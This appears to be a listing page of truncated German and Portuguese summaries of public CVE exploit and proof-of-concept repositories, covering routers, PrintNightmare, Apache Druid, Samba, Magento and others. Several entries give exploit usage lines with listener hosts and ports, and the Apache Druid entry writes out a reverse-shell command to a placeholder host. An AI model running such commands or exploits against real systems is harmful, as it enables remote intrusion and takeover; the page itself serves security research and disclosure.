CVE-2025-34152

⚠️ CVE-2025-34152 – Shenzhen Aitemi M300 Wi-Fi Repeater RCE 🚨 Übersicht Der Shenzhen Aitemi M300 Wi-Fi Repeater ist von einer nicht authentifizierten Remotecodeausführung RCE betroffen. Kein Login erforderlich Startet das Gerät nicht neu Kann aus der Ferne ausgenutzt werden 🛠 Anfällige Versionen...

CVE-2024-9570_D-Link-DIR-619L-bof

CVE-2024-9570D-Link-DIR-619L-bof Exploit für CVE-2024-9570 Eine Schwachstelle wurde in D-Link DIR-619L B1 2.06 gefunden und als kritisch eingestuft. Betroffen von diesem Problem ist die Funktion formEasySetTimezone der Datei /goform/formEasySetTimezone. Die Manipulation des Arguments curTime führ...

CVE-2026-29114

CVE-2026-29114 — Dahua Exponiertes Geräte-CA-Stammzertifikat Beratungstyp: Sicherheitsmeldung in Abstimmung mit dem Hersteller CVE-ID: CVE-2026-29114 Hersteller: Dahua Technology Veröffentlicht: 2026-06-10T05:44:50 UTC Zuletzt geändert: 2026-06-10T05:44:50 UTC Quelle: Dahua Product Security...

CVE-2025-41646

CVE-2025-41646 - RevPi Webstatus = 2.4.5 Exploit zur Authentifizierungsumgehung Überblick Dies ist ein Python3-Exploit-Skript für CVE-2025-41646 , eine Schwachstelle zur Authentifizierungsumgehung , die RevPi Webstatus = 2.4.5 betrifft. Details zur Schwachstelle: CVE ID : CVE-2025-41646 Betroffen...

CVE-2016-2233

CVE-2016-2233 CVE-2016-2233 ist eine auf dem Stack basierende Pufferüberlauf-Schwachstelle in der weit verbreiteten IRC-Software Hexchat. Wir bauen einen IRC-Server und führen den Angriff aus, um alle mit dem Server verbundenen Clients zum Absturz zu bringen. Wir haben unseren Angriff auf Ubuntu...

CVE-2014-4688

CVE-2014-4688 root@kitploit: python3 pfsense.py --rhost 10.10.10.60 --lhost 10.10.14.2 --lport 9999 --username rohit --password pfsense...

CVE-2021-1675

CVE-2021-1675 Geändert von https://github.com/sailay1996/PrintNightmare-LPE , unterstützt Remote-Aufruf. 1. Laden Sie PrintNightmareLPE.exe und vlib.dll auf den Remote-Server hoch und führen Sie PrintNightmareLPE.exe aus. 2. Richten Sie lokal die Portweiterleitung ein: netsh interface portproxy a...

CVE-2023-21837

CVE-2023-21837 POC, EXP, chatGPT für mich Code root@kitploit: import socket CVE-2023-21837 def checkvulnerabilitytargethost, targetport: create socket object s = socket.socketsocket.AFINET, socket.SOCKSTREAM set timeout to 30 seconds s.settimeout30 try: connect to target s.connecttargethost,...

CVE-2021-25646

usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd Reverse-Shell wie folgt: Reverse-Shell-Skript schreiben python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" Ausführungsberechtigung für Shell-Skript erteilen python3 CVE-2021-25646.py -u...

vmware_vcenter_cve_2020_3952

Prova de conceito para CVE-2020-3952 Este é um pequeno trecho de código que explora o CVE-2020-3952, descrito em detalhes no post do Guardicore Labs aqui. Esta vulnerabilidade foi publicada pela VMware em abril de 2020 com uma pontuação CVSS máxima de 10.0. Ela permite que um atacante com conexão...

CVE-2003-0264

Buffer Overflow no Parâmetro PASS do POP3 do SLMail 5.5 Versão do Programa: SLMail 5.5 Vulnerabilidade: Buffer Overflow no parâmetro PASS do serviço POP3 porta 110 do Seattle Lab Mail SLMail 5.5 Testado em: Windows 7 x86 Exploração: Buffer Overflow Remoto Vídeo PoC: https://youtu.be/dCWgoSIni6s...

CVE-2025-5777

🩸 CVE-2025-5777 - CitrixBleed 2 Speicheroffenlegungsschwachstelle in Citrix NetScaler / ADC 📌 1. Zusammenfassung CitrixBleed 2 bezeichnet eine kritische Schwachstelle zur Speicheroffenlegung, die folgende Systeme betrifft: 🏢 Citrix NetScaler ADC 🌐 NetScaler Gateway 🔐 Internetzugängliche...

CVE-2023-46974

CVE-2023-46974 POC Beschreibung Cross-Site-Scripting-Schwachstelle im Best Courier Management System v.1.000 ermöglicht es einem entfernten Angreifer, beliebigen Code durch eine präparierte Payload im Seitenparameter der URL auszuführen. Schwachstellentyp Cross-Site-Scripting XSS Produktanbieter...

CVE-2024-34102

CVE-2024-34102: Nicht authentifiziertes Magento XXE CVEHunter-Tool zur Erkennung und Ausnutzung von Schwachstellen für CVE-2024-34102 mit asynchroner Leistung. Installation root@kitploit: git clone https://github.com/th3gokul/CVE-2024-34102.git cd CVE-2024-34102 pip install -r requirements.txt...

DLHell

DLHell O DLHell realiza proxy de DLLs do Windows, local e remoto, via DCOM. Instalação Os seguintes pacotes são necessários podem depender da sua distribuição; o exemplo abaixo é para Debian 12: root@kitploit: sudo apt install -y g++-mingw-w64-x86-64-win32 binutils-mingw-w64-x86-64 Instale as...

CVE-2019-9766

CVE-2019-9766 Farei o meu melhor Sobre o CVE Free MP3 CD Ripper É um conversor entre arquivos .mp3 e outros tipos de arquivo convertendo um arquivo. Bug De acordo com o NVD, podemos ver que, na vision 2.6, há um Stack-based Overflow na Área de Buffer. Então podemos criar um Poc para isso. O tipo ...

CVE-2025-3248-POC

CVE-2025-3248-POC POC von CVE-2025-3248 führe beliebigen Befehl auf dem Zielrechner aus Verwendung: python poc.py 'http://xxx.com' 'ls /' hinterlasse etwas Liebe auf den Computern der Opfer poc.py...

CVE-2023-27997-POC

Verwendung: python3 cve-2022-42475.py rhost rport lhost lport Beispiel: python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 Haftungsausschluss: Dieses Projekt dient ausschließlich Bildungs- und ethischen Testzwecken. Die Verwendung dieses Tools zum Angriff auf Ziele ohne vorherige...

CVE-2007-2447

CVE-2007-2447 CVE-2007-2447 - Samba-Benutzerzuordnungsskript. https://alien0ne.digitalpress.blog/cve-2007-2447/ Verwendung: root@kitploit: $ python3 script.py rhost - Die Zieladresse rport - Der Zielport lhost - Die Listener-Adresse lport - Der Listener-Port Installation: Dieser Exploit erfordert...

CVE-2026-35273

CVE-2026-35273 Este Alerta de Segurança aborda a vulnerabilidade CVE-2026-35273 no Oracle PeopleSoft PeopleTools. Clientes do Oracle PeopleSoft Enterprise Applications também podem ser afetados por esta vulnerabilidade. Esta vulnerabilidade é explorável remotamente sem autenticação. Se explorada...